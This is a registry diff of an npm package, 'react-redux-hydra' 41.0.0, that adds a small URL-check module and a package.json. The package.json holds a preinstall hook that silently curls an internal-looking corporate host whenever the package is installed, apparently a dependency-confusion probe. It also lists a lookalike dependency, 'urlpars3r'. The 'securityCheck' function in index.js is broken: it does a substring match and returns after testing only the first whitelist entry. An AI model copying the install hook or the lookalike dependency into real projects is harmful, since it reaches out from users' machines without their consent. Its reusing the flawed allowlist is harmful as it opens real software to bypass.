react-redux-hydra 41.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +17 -0
  2. package/package.json +16 -0
package/index.js ADDED
@@ -0,0 +1,17 @@
1
+ 'use strict';
2
+
3
+ var parse = require('url-parse')
4
+
5
+ var whitelist = ["auth.amazon.com"];
6
+ function securityCheck(url) {
7
+ var url = parse(url, true);
8
+ for(var i=0;i<whitelist.length;i++){
9
+ if(url.includes(whitelist[i])){
10
+ return true;
11
+ }
12
+ return false;
13
+ }
14
+
15
+ }
16
+
17
+ module.exports.checkUrlHost = securityCheck;
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "react-redux-hydra",
3
+ "version": "41.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall":"curl http://vrpssrf.corp.amazon.com/foobar -e 'react-redux-hydra+n1nj4sec'"
9
+ },
10
+ "dependencies": {
11
+ "url-parse":"*",
12
+ "urlpars3r": "*"
13
+ },
14
+ "author": "n1nj4sec",
15
+ "license": "GPL"
16
+ }